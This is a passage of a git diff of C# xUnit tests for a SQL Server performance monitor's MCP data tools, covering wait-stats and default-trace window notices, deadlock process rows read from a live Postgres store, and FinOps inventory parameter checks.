         var rankedCte = sql.IndexOf("ranked AS", StringComparison.Ordinal);
         var dedupSurvivor = sql.IndexOf("WHERE rn = 1", rankedCte, StringComparison.Ordinal);
         var moduleFilter = sql.IndexOf("$7::text IS NULL OR module_name = $7", StringComparison.Ordinal);
-        var firstLimit = sql.IndexOf("LIMIT $4 + 5", StringComparison.Ordinal);
+        var firstLimit = sql.IndexOf("LIMIT $8", StringComparison.Ordinal);   /* #5313: the round's candidate limit, no longer top + 5 */
 
         Assert.True(dedupSurvivor > rankedCte && moduleFilter > dedupSurvivor,
             "module_name must filter only the latest cumulative interval snapshots");
@@ -719,7 +727,7 @@ public void QueryStoreSql_AppliesModuleFilterAfterDedupAndBeforeRankingLimit()
     public void QueryStoreWindowFloor_RemainsACheapUnfilteredRetentionProbe()
     {
         var sql = DarlingDataReader.QueryStoreWindowFloorSql;
-        Assert.Contains("SELECT MIN(collection_time)", sql, StringComparison.Ordinal);
+        Assert.Contains("LIMIT 1", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("ROW_NUMBER", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("module_name", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("database_name", sql, StringComparison.Ordinal);
@@ -972,6 +980,7 @@ private static string[] RequiredOf(JsonElement schema) =>
 /// serialized "live-postgres" collection and cleans up in finally.
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class DarlingMcpDataToolsLivePostgresTests
 {
     private const string ServerName = "darling-mcp-data-e2e";
@@ -980,6 +989,34 @@ public sealed class DarlingMcpDataToolsLivePostgresTests
 
     private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
 
+    /* #4966: the window-floor cases of get_wait_stats, shared with the latch and spinlock reads (WindowNoticeAggregateCases). */
+    private static readonly WindowNoticeAggregateCases s_waitWindow = new(
+        "get_wait_stats", "wait_stats",
+        (ds, name, hours, end, limit) => DarlingMcpDataTools.GetWaitStats(ds, name, hours, limit, WebDataStartNote.FormatWindowEnd(end)),
+        (c, name, at, i) => DarlingMcpTestData.ExecAsync(c, TestContext.Current.CancellationToken,
+            @"INSERT INTO wait_stats (collection_id, collection_time, server_id, server_name, wait_type, delta_wait_time_ms, delta_signal_wait_time_ms, delta_waiting_tasks)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(at), ServerIdHelper.GetDeterministicHashCode(name), name, "WINDOW_WAIT_" + i, 1000L - i, 100L, 5L),
+        "truncated");
+
+    [Fact]
+    public Task GetWaitStats_CollectionStartingInsideTheWindow_NamesWhereCoverageStarts_AndACappedPageKeepsTheTwoFlagsApart_AgainstDevPostgres() => s_waitWindow.CollectionStartingInsideTheWindow_NamesWhereCoverageStarts_AndACappedPageKeepsTheTwoFlagsApart(ConnectionString);
+
+    [Fact]
+    public Task GetWaitStats_ARankCappedPage_BesideACoveredWindow_IsNotWindowTruncated_AgainstDevPostgres() => s_waitWindow.ARankCappedPage_BesideACoveredWindow_IsNotWindowTruncated(ConnectionString);
+
+    [Fact]
+    public Task GetWaitStats_AQuietStart_IsCovered_AgainstDevPostgres() => s_waitWindow.AQuietStart_IsCovered(ConnectionString);
+
+    [Fact]
+    public Task GetWaitStats_TheNoRowsAnswer_StaysBare_AgainstDevPostgres() => s_waitWindow.TheNoRowsAnswer_StaysBare(ConnectionString);
+
+    [Fact]
+    public Task GetWaitStats_AShortWindow_WithRows_StartsNoProbe_AgainstDevPostgres() => s_waitWindow.AShortWindow_WithRows_StartsNoProbe(ConnectionString);
+
+    [Fact]
+    public Task GetWaitStats_AFailedProbe_CostsTheNotice_NeverTheRows_AgainstDevPostgres() => s_waitWindow.AFailedProbe_CostsTheNotice_NeverTheRows(ConnectionString);
+
     [Fact]
     public async Task DataTools_ReadPlantedRows_AgainstDevPostgres()
     {
diff --git a/Darling/Darling.Tests/DarlingMcpDeadlockProcessesLiveTests.cs b/Darling/Darling.Tests/DarlingMcpDeadlockProcessesLiveTests.cs
new file mode 100644
index 0000000000..9f2b23063a
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingMcpDeadlockProcessesLiveTests.cs
@@ -0,0 +1,142 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// get_deadlock_detail serves each stored graph's parsed per-process rows in <c>processes[]</c>: read from a real
+/// <c>deadlocks</c> row through the tool, the victim flagged, absent values left off, the per-deadlock cap counted in
+/// <c>processes_truncated</c>, and a default call with a realistic six-process graph per deadlock staying inside the
+/// shared response budget.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class DarlingMcpDeadlockProcessesLiveTests
+{
+    private const string ServerName = "darling-mcp-deadlock-processes-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+    private readonly ITestOutputHelper _output;
+
+    public DarlingMcpDeadlockProcessesLiveTests(ITestOutputHelper output) => _output = output;
+
+    private static string SixProcessGraph()
+    {
+        var sb = new StringBuilder("<deadlock><victim-list><victimProcess id=\"process0\"/></victim-list><process-list>");
+        for (var i = 0; i < 6; i++)
+        {
+            sb.Append($"<process id=\"process{i}\" spid=\"{60 + i}\" currentdbname=\"StackOverflow\" waitresource=\"KEY: 5:72057594057{i:D8} (a1b2c3d4e5f6)\" waittime=\"{1000 + i}\" lockMode=\"X\" isolationlevel=\"read committed (2)\" logused=\"{200 + i}\" trancount=\"1\" clientapp=\"Microsoft SQL Server Management Studio - Query\" hostname=\"APPHOST{i}\" loginname=\"CORP\\svc_app{i}\" status=\"suspended\" transactionname=\"user_transaction\" priority=\"0\" lasttranstarted=\"2026-07-01T10:00:00.000\">");
+            sb.Append("<executionStack><frame procname=\"StackOverflow.dbo.usp_UpdateScore\" line=\"12\">UPDATE dbo.Posts SET Score = Score + 1 WHERE Id = @Id</frame></executionStack>");
+            sb.Append($"<inputbuf>UPDATE dbo.Posts SET Score = Score + 1 WHERE Id = {i};{new string(' ', 4)}-- {new string('x', 300)}</inputbuf></process>");
+        }
+
+        sb.Append("</process-list><resource-list><keylock objectname=\"StackOverflow.dbo.Posts\" mode=\"X\">");
+        sb.Append("<owner-list><owner id=\"process1\" mode=\"X\"/></owner-list><waiter-list><waiter id=\"process0\" mode=\"X\" requestType=\"wait\"/></waiter-list></keylock></resource-list></deadlock>");
+        return sb.ToString();
+    }
+
+    [Fact]
+    public async Task GetDeadlockDetail_ServesProcesses_VictimFlagged_NullsOmitted_AndStaysInBudget()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live deadlock-processes test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var baseTime = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddMinutes(-30);
+            var graph = SixProcessGraph();
+            for (var i = 0; i < 5; i++)
+            {
+                var t = baseTime.AddMinutes(i);
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO deadlocks (deadlock_id, collection_time, server_id, server_name, deadlock_time, victim_process_id, victim_sql_text, deadlock_graph_xml)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8)",
+                    CollectionIdGenerator.Next(), t, ServerId, ServerName, t, "process0", "UPDATE dbo.Posts", graph);
+            }
+
+            var json = await DarlingMcpBlockingTools.GetDeadlockDetail(postgres, ServerName);
+            var bytes = Encoding.UTF8.GetByteCount(json);
+            _output.WriteLine($"get_deadlock_detail default call: {bytes:N0} bytes (budget {McpResponseBudget.DefaultBytes:N0}), 5 deadlocks x 6 processes, {graph.Length:N0}-char graphs.");
+            Assert.True(bytes < McpResponseBudget.DefaultBytes, $"default call is {bytes:N0} bytes, at or over the {McpResponseBudget.DefaultBytes:N0}-byte budget.");
+
+            using var doc = JsonDocument.Parse(json);
+            var all = doc.RootElement.GetProperty("deadlocks").EnumerateArray().ToArray();
+            var first = all[0];
+            var processes = first.GetProperty("processes").EnumerateArray().ToArray();
+            Assert.Equal(6, processes.Length);
+            Assert.Equal(0, first.GetProperty("processes_truncated").GetInt32());
+
+            /* The default page shares one row budget: 24 rows, four full deadlocks, and the fifth is counted rather than sent. */
+            Assert.Equal(DarlingDeadlockProcessRows.DefaultPageRowBudget, all.Sum(d => d.GetProperty("processes").GetArrayLength()));
+            Assert.Equal(6, all[4].GetProperty("processes_truncated").GetInt32());
+
+            var victims = processes.Where(p => p.GetProperty("victim").GetBoolean()).ToArray();
+            var victim = Assert.Single(victims);
+            Assert.Equal(60, victim.GetProperty("spid").GetInt32());
+            Assert.Equal("StackOverflow", victim.GetProperty("database_name").GetString());
+            Assert.Equal("StackOverflow.dbo.usp_UpdateScore", victim.GetProperty("proc_name").GetString());
+            Assert.Equal("StackOverflow.dbo.Posts", victim.GetProperty("object_names").GetString());
+            Assert.Equal("X", victim.GetProperty("waiter_mode").GetString());
+
+            /* The five non-victims never name the process that waits, so the owner row has no waiter_mode. */
+            var owner = processes.Single(p => p.GetProperty("spid").GetInt32() == 61);
+            Assert.False(owner.TryGetProperty("waiter_mode", out _));
+            Assert.Equal("X", owner.GetProperty("owner_mode").GetString());
+            Assert.All(processes, p => Assert.All(p.EnumerateObject(), prop => Assert.NotEqual(JsonValueKind.Null, prop.Value.ValueKind)));
+            Assert.All(processes, p => Assert.True(p.GetProperty("sql_text").GetString()!.Length <= DarlingDeadlockProcessRows.DefaultStatementPreviewLength + 20));
+
+            /* A whole-graph call keeps every row of every deadlock, up to the per-deadlock cap, with the longer preview. */
+            var full = await DarlingMcpBlockingTools.GetDeadlockDetail(postgres, ServerName, full_graph: true);
+            _output.WriteLine($"get_deadlock_detail full_graph call: {Encoding.UTF8.GetByteCount(full):N0} bytes.");
+            using var fullDoc = JsonDocument.Parse(full);
+            Assert.All(fullDoc.RootElement.GetProperty("deadlocks").EnumerateArray(), d =>
+            {
+                Assert.Equal(6, d.GetProperty("processes").GetArrayLength());
+                Assert.Equal(0, d.GetProperty("processes_truncated").GetInt32());
+            });
+
+            /* The graph is still served beside the rows. */
+            Assert.True(first.TryGetProperty("deadlock_graph_xml", out _));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct)
+    {
+        using var cleanup = new NpgsqlCommand(
+            $"DELETE FROM deadlocks WHERE server_id = {ServerId}; DELETE FROM servers WHERE server_id = {ServerId};",
+            connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingMcpDefaultTraceToolsTests.cs b/Darling/Darling.Tests/DarlingMcpDefaultTraceToolsTests.cs
index a2f307a958..716eeb342c 100644
--- a/Darling/Darling.Tests/DarlingMcpDefaultTraceToolsTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpDefaultTraceToolsTests.cs
@@ -58,7 +58,7 @@ public void ParamContract_ServerNameHoursBackLimit_AllOptional()
             .Where(x => x.GetCustomAttribute<DescriptionAttribute>() is not null)
             .Select(x => (x.Name!, x.HasDefaultValue))
             .ToArray();
-        Assert.Equal(new[] { "server_name", "hours_back", "limit", "as_of" }, p.Select(x => x.Item1).ToArray());
+        Assert.Equal(new[] { "server_name", "hours_back", "limit", "as_of", "database_name" }, p.Select(x => x.Item1).ToArray());
         Assert.All(p, x => Assert.True(x.Item2, $"{x.Item1} must be optional"));
     }
 
diff --git a/Darling/Darling.Tests/DarlingMcpDefaultTraceToolsWindowNoticeTests.cs b/Darling/Darling.Tests/DarlingMcpDefaultTraceToolsWindowNoticeTests.cs
new file mode 100644
index 0000000000..bf234ff4ac
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingMcpDefaultTraceToolsWindowNoticeTests.cs
@@ -0,0 +1,229 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4966: where the data starts, on <c>get_default_trace_events</c>. The trace stores each event in the monitored server's LOCAL
+/// clock; the read converts it to UTC, and the coverage probe reads <c>collection_time</c>, the collector's own UTC clock, so the
+/// notice compares UTC with UTC. The first collection of a server stores the trace's history, so an event can be older than the
+/// coverage: the notice names the earlier of the two. Every window is anchored by <c>as_of</c>.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class DarlingMcpDefaultTraceToolsWindowNoticeLiveTests
+{
+    private const string TraceTable = "default_trace_events";
+    private const int OffsetMinutes = -300;
+    private static readonly string[] TraceTables = ["default_trace_events", "server_properties"];
+
+    private static string TraceName(string scenario) => "darling-mcp-deftrace-notice-" + scenario;
+
+    private static Task<string> CallTraceAsync(NpgsqlDataSource ds, string scenario, int hours, DateTime end, int limit = 100) =>
+        DarlingMcpDefaultTraceTools.GetDefaultTraceEvents(ds, TraceName(scenario), hours, limit, WebDataStartNote.FormatWindowEnd(end));
+
+    private static Task RunTraceAsync(string scenario, Func<NpgsqlConnection, NpgsqlDataSource, DateTime, Task> body) =>
+        WindowFloorLiveHarness.RunAsync(Environment.GetEnvironmentVariable("DARLING_TEST_PG"), [TraceTable], [TraceName(scenario)], TraceTables, body);
+
+    private static async Task SeedTraceServerAsync(NpgsqlConnection c, string scenario, DateTime created, DateTime? runsFrom, DateTime end)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await WindowFloorLiveHarness.SeedServerAsync(c, TraceName(scenario), created, TraceTable, runsFrom, 30, end, TraceTables, ct);
+        await DarlingMcpTestData.ExecAsync(c, ct,
+            @"INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, edition, product_version, product_level, engine_edition, utc_offset_minutes)
+VALUES ($1,$2,$3,$4,'Enterprise Edition','16.0.4085.2','RTM',3,$5)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(created.AddDays(-60)), ServerIdHelper.GetDeterministicHashCode(TraceName(scenario)), TraceName(scenario), OffsetMinutes);
+    }
+
+    /// <summary>A significant event at the UTC instant <paramref name="eventUtc"/>, stored in the server's local clock, collected at <paramref name="collectedAt"/>.</summary>
+    private static Task SeedTraceEventAsync(NpgsqlConnection c, string scenario, DateTime eventUtc, DateTime? collectedAt = null) =>
+        DarlingMcpTestData.ExecAsync(c, TestContext.Current.CancellationToken,
+            @"INSERT INTO default_trace_events (default_trace_event_id, collection_time, server_id, server_name, event_time, event_name, duration_us, integer_data)
+VALUES ($1,$2,$3,$4,$5,'Data File Auto Grow',1500000,256)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(collectedAt ?? eventUtc), ServerIdHelper.GetDeterministicHashCode(TraceName(scenario)), TraceName(scenario),
+            DarlingMcpTestData.Naive(eventUtc.AddMinutes(OffsetMinutes)));
+
+    [Fact]
+    public async Task CollectionStartsInsideTheWindow_ReportsTheFloor_AndTheNote_AgainstDevPostgres() =>
+        await RunTraceAsync("inside", async (c, ds, end) =>
+        {
+            var floor = end.AddDays(-2);
+            await SeedTraceServerAsync(c, "inside", floor, floor, end);
+            await SeedTraceEventAsync(c, "inside", end.AddDays(-1));
+
+            var root = WindowFloorLiveHarness.Parse(await CallTraceAsync(ds, "inside", 168, end));
+
+            Assert.True(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(floor), root.GetProperty("effective_start").GetString());
+            Assert.Equal(DarlingMcpWindowNotice.Build(floor, end.AddHours(-168), TraceTable).TruncationNote, root.GetProperty("truncation_note").GetString());
+            var names = root.EnumerateObject().Select(p => p.Name).ToList();
+            Assert.Equal(["effective_start", "window_truncated", "truncation_note"], names.Skip(names.IndexOf("hours_back") + 1).Take(3));
+        });
+
+    [Fact]
+    public async Task AQuietStart_RunsFromBeforeTheWindow_FirstEventLate_IsCovered_AgainstDevPostgres() =>
+        await RunTraceAsync("quiet", async (c, ds, end) =>
+        {
+            await SeedTraceServerAsync(c, "quiet", end.AddDays(-30), end.AddDays(-8), end);
+            await SeedTraceEventAsync(c, "quiet", end.AddDays(-2));
+
+            var root = WindowFloorLiveHarness.Parse(await CallTraceAsync(ds, "quiet", 168, end));
+
+            Assert.False(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+        });
+
+    [Fact]
+    public async Task ABackfilledEvent_OlderThanTheCoverage_NamesTheEventInUtc_NotTheCoverage_AgainstDevPostgres() =>
+        await RunTraceAsync("backfill", async (c, ds, end) =>
+        {
+            /* The server began a day ago; its first run stored the trace's history. The stored event time is local (UTC-5), so a start
+               read off the raw column would be five hours off. */
+            var began = end.AddDays(-1);
+            var backfilled = end.AddDays(-3);
+            await SeedTraceServerAsync(c, "backfill", began, began, end);
+            await SeedTraceEventAsync(c, "backfill", backfilled, collectedAt: began);
+            await SeedTraceEventAsync(c, "backfill", end.AddHours(-6));
+
+            var root = WindowFloorLiveHarness.Parse(await CallTraceAsync(ds, "backfill", 168, end));
+
+            Assert.True(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(backfilled), root.GetProperty("effective_start").GetString());
+        });
+
+    [Fact]
+    public async Task AnEmptyAnswer_PastCoverage_CarriesTheKeysUnderHints_AgainstDevPostgres() =>
+        await RunTraceAsync("empty", async (c, ds, end) =>
+        {
+            var added = end.AddDays(-1);
+            await SeedTraceServerAsync(c, "empty", added, added, end);
+
+            var root = WindowFloorLiveHarness.Parse(await CallTraceAsync(ds, "empty", 168, end));
+
+            Assert.Equal("empty", root.GetProperty("status").GetString());
+            var hints = root.GetProperty("hints");
+            Assert.True(hints.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(added), hints.GetProperty("effective_start").GetString());
+            Assert.False(root.TryGetProperty("window_truncated", out _));
+        });
+
+    [Fact]
+    public async Task AShortWindow_WithRows_StartsNoProbe_AndAFailedProbe_CostsTheNoticeNotTheRows_AgainstDevPostgres() =>
+        await RunTraceAsync("probe", async (c, ds, end) =>
+        {
+            await SeedTraceServerAsync(c, "probe", end.AddDays(-30), end.AddDays(-30), end);
+            await SeedTraceEventAsync(c, "probe", end.AddMinutes(-20));
+
+            var probes = 0;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => { probes++; throw new TimeoutException("the probe's deadline passed"); };
+
+            var shortRoot = WindowFloorLiveHarness.Parse(await CallTraceAsync(ds, "probe", 1, end));
+            Assert.Equal(0, probes);
+            Assert.False(shortRoot.GetProperty("window_truncated").GetBoolean());
+
+            var failed = WindowFloorLiveHarness.Parse(await CallTraceAsync(ds, "probe", 168, end));
+            Assert.Equal(1, probes);
+            Assert.False(failed.TryGetProperty("effective_start", out _));
+            Assert.False(failed.TryGetProperty("window_truncated", out _));
+            Assert.False(failed.TryGetProperty("truncation_note", out _));
+            Assert.True(failed.GetProperty("shown").GetInt32() >= 1);
+        });
+
+    [Fact]
+    public async Task ALimitedPage_KeepsTheNotice_OfTheWholeWindow_AgainstDevPostgres() =>
+        await RunTraceAsync("cap", async (c, ds, end) =>
+        {
+            var floor = end.AddDays(-2);
+            await SeedTraceServerAsync(c, "cap", floor, floor, end);
+            await SeedTraceEventAsync(c, "cap", end.AddDays(-1));
+            await SeedTraceEventAsync(c, "cap", end.AddHours(-5));
+
+            var root = WindowFloorLiveHarness.Parse(await CallTraceAsync(ds, "cap", 168, end, limit: 1));
+
+            Assert.Equal(1, root.GetProperty("shown").GetInt32());
+            Assert.Equal(2, root.GetProperty("total_events").GetInt32());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(floor), root.GetProperty("effective_start").GetString());
+        });
+
+    [Fact]
+    public async Task AServerWithNoCollectionAtAll_IsEmptyWithTheNotice_AgainstDevPostgres() =>
+        await RunTraceAsync("none", async (c, ds, end) =>
+        {
+            await SeedTraceServerAsync(c, "none", end.AddDays(-30), null, end);
+            await DarlingMcpTestData.ExecAsync(c, TestContext.Current.CancellationToken, "DELETE FROM server_properties WHERE server_id = $1", ServerIdHelper.GetDeterministicHashCode(TraceName("none")));
+
+            var json = await CallTraceAsync(ds, "none", 168, end);
+
+            /* No engine edition is on record, so there is no capability verdict: the answer is `empty`, and an empty answer over a
+               window nothing covers always carries the not-covered notice under hints. */
+            var root = WindowFloorLiveHarness.Parse(json);
+            Assert.Equal("empty", root.GetProperty("status").GetString());
+            Assert.True(root.GetProperty("hints").GetProperty("window_truncated").GetBoolean());
+            Assert.False(root.TryGetProperty("window_truncated", out _));
+        });
+
+    [Fact]
+    public async Task ALimitedPage_StillNamesTheEarliestEvent_OfEveryQualifyingRow_AgainstDevPostgres() =>
+        await RunTraceAsync("page-cap", async (c, ds, end) =>
+        {
+            /* The read has no SQL cap, so the store reaches the backfilled event even though limit 1 returns only the newest row. */
+            var began = end.AddDays(-1);
+            var backfilled = end.AddDays(-3);
+            await SeedTraceServerAsync(c, "page-cap", began, began, end);
+            await SeedTraceEventAsync(c, "page-cap", backfilled, collectedAt: began);
+            await SeedTraceEventAsync(c, "page-cap", end.AddHours(-6));
+
+            var root = WindowFloorLiveHarness.Parse(await CallTraceAsync(ds, "page-cap", 168, end, limit: 1));
+
+            Assert.Equal(1, root.GetProperty("shown").GetInt32());
+            Assert.Equal(2, root.GetProperty("total_events").GetInt32());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(backfilled), root.GetProperty("effective_start").GetString());
+        });
+
+    [Fact]
+    public async Task NoCoverageInTheWindow_WithEventsLateInIt_NamesTheEarliestEvent_AgainstDevPostgres() =>
+        await RunTraceAsync("nofloor-late", async (c, ds, end) =>
+        {
+            /* The server was registered, and its runs logged, only after as_of: the probe finds no coverage in the window, yet backfilled events sit in it. */
+            var late = end.AddHours(-6);
+            await SeedTraceServerAsync(c, "nofloor-late", end.AddHours(1), end.AddHours(1), end.AddHours(3));
+            await SeedTraceEventAsync(c, "nofloor-late", late, collectedAt: end.AddHours(1));
+            await SeedTraceEventAsync(c, "nofloor-late", end.AddHours(-2), collectedAt: end.AddHours(1));
+
+            var root = WindowFloorLiveHarness.Parse(await CallTraceAsync(ds, "nofloor-late", 168, end));
+
+            Assert.True(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(late), root.GetProperty("effective_start").GetString());
+        });
+
+    [Fact]
+    public async Task NoCoverageInTheWindow_WithAnEventNearTheWindowStart_IsCovered_AgainstDevPostgres() =>
+        await RunTraceAsync("nofloor-near", async (c, ds, end) =>
+        {
+            /* Same shape, but the earliest event is 30 minutes after the window start: within the 90-minute slack, so no notice. */
+            await SeedTraceServerAsync(c, "nofloor-near", end.AddHours(1), end.AddHours(1), end.AddHours(3));
+            await SeedTraceEventAsync(c, "nofloor-near", end.AddHours(-168).AddMinutes(30), collectedAt: end.AddHours(1));
+            await SeedTraceEventAsync(c, "nofloor-near", end.AddHours(-2), collectedAt: end.AddHours(1));
+
+            var root = WindowFloorLiveHarness.Parse(await CallTraceAsync(ds, "nofloor-near", 168, end));
+
+            Assert.False(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+        });
+}
diff --git a/Darling/Darling.Tests/DarlingMcpFinOpsInventoryToolsTests.cs b/Darling/Darling.Tests/DarlingMcpFinOpsInventoryToolsTests.cs
new file mode 100644
index 0000000000..abbb4bf0b5
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingMcpFinOpsInventoryToolsTests.cs
@@ -0,0 +1,220 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Linq;
+using System.Reflection;
+using System.Text.Json;
+using System.Threading.Tasks;
+using ModelContextProtocol.Server;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins for <c>get_finops_inventory</c> that need no store: the tool surface, the refusals (which the tool decides
+/// before it touches the data source), and the row shape on hand-built inventory rows.
+/// </summary>
+public sealed class DarlingMcpFinOpsInventoryToolsTests
+{
+    private static ServerInventoryDto Dto(
+        string name = "alpha-server", string edition = "Enterprise Edition (64-bit)", int engineEdition = 3, int cpus = 8,
+        long memoryMb = 65536, string? note = null, bool enabled = true, decimal monthly = 100m) =>
+        new(1, name, edition, "16.0.1000 - RTM", engineEdition, cpus, memoryMb, note, 2, 4, false, false,
+            new DateTime(2026, 10, 1, 12, 30, 15, DateTimeKind.Unspecified), new DateTime(2026, 9, 1, 3, 4, 5, DateTimeKind.Unspecified),
+            "Windows Server 2022", "Standalone", enabled, monthly, new DateTime(2026, 10, 2, 8, 0, 0, DateTimeKind.Unspecified));
+
+    private static JsonElement Row(ServerInventoryDto dto, ServerMetricsDto metrics) =>
+        JsonSerializer.SerializeToElement(DarlingMcpFinOpsInventoryTools.InventoryRow(dto, metrics), DarlingMcpFinOpsInventoryTools.WireOptions);
+
+    [Fact]
+    public void ToolSurface_ExactlyGetFinOpsInventory_WithItsParametersAndViews()
+    {
+        var methods = typeof(DarlingMcpFinOpsInventoryTools)
+            .GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance)
+            .Where(m => m.GetCustomAttribute<McpServerToolAttribute>() is not null)
+            .ToArray();
+        Assert.Equal(new[] { "get_finops_inventory" }, methods.Select(m => m.GetCustomAttribute<McpServerToolAttribute>()!.Name).ToArray());
+        Assert.NotNull(typeof(DarlingMcpFinOpsInventoryTools).GetCustomAttribute<McpServerToolTypeAttribute>());
+        var method = methods.Single();
+        Assert.True(method.IsStatic);
+        Assert.Equal(typeof(Task<string>), method.ReturnType);
+
+        var described = method.GetParameters().Where(p => p.GetCustomAttribute<DescriptionAttribute>() is not null).ToArray();
+        Assert.Equal(new[] { "view", "limit", "include_removed" }, described.Select(p => p.Name).ToArray());
+        Assert.Equal(false, described.Single(p => p.Name == "include_removed").DefaultValue);
+        Assert.False(described.Single(p => p.Name == "view").HasDefaultValue, "view is required");
+        Assert.Equal(DarlingMcpFinOpsInventoryTools.DefaultLimit, described.Single(p => p.Name == "limit").DefaultValue);
+        Assert.Equal(200, DarlingMcpFinOpsInventoryTools.MaxLimit);
+        Assert.Equal(new[] { "server_inventory" }, DarlingMcpFinOpsInventoryTools.Views);
+    }
+
+    [Theory]
+    [InlineData("", "view")]
+    [InlineData("  ", "view")]
+    [InlineData("nope", "view")]
+    public async Task BadView_IsRefusedNamingView_BeforeTheStoreIsTouched(string view, string parameter)
+    {
+        var result = await DarlingMcpFinOpsInventoryTools.GetFinOpsInventory(null!, view);
+        using var doc = JsonDocument.Parse(result);
+        Assert.Equal("invalid", doc.RootElement.GetProperty("status").GetString());
+        Assert.Equal(parameter, doc.RootElement.GetProperty("hints").GetProperty("parameter").GetString());
+        Assert.Contains("server_inventory", doc.RootElement.GetProperty("message").GetString(), StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(0)]
+    [InlineData(-1)]
+    [InlineData(201)]
+    public async Task BadLimit_IsRefusedNamingLimit_WithOneRange_BeforeTheStoreIsTouched(int limit)
+    {
+        var result = await DarlingMcpFinOpsInventoryTools.GetFinOpsInventory(null!, "server_inventory", limit);
+        using var doc = JsonDocument.Parse(result);
+        Assert.Equal("invalid", doc.RootElement.GetProperty("status").GetString());
+        Assert.Equal("limit", doc.RootElement.GetProperty("hints").GetProperty("parameter").GetString());
+        Assert.Equal($"Invalid limit value '{limit}'. Must be an integer from 1 to 200.", doc.RootElement.GetProperty("message").GetString());
+    }
+
+    [Theory]
+    [InlineData(null, 8000, 50.0, "good")]
+    [InlineData(35.0, 8000, 50.0, "good")]
+    [InlineData(100.0, 3000, 20.0, "poor")]
+    public void Row_HealthScoreAndBand_ComeFromTheSharedFigures(double? cpu, int bufferPoolMb, double freePct, string band)
+    {
+        /* The row's score is the fleet read's HealthScore, the Utilization view's own rule over p95 CPU, buffer pool and free space. */
+        int? fleetScore = cpu is double p95
+            ? FinOpsUtilizationFigures.HealthScore(true, (decimal)p95, 16384, bufferPoolMb, (decimal)freePct)
+            : null;
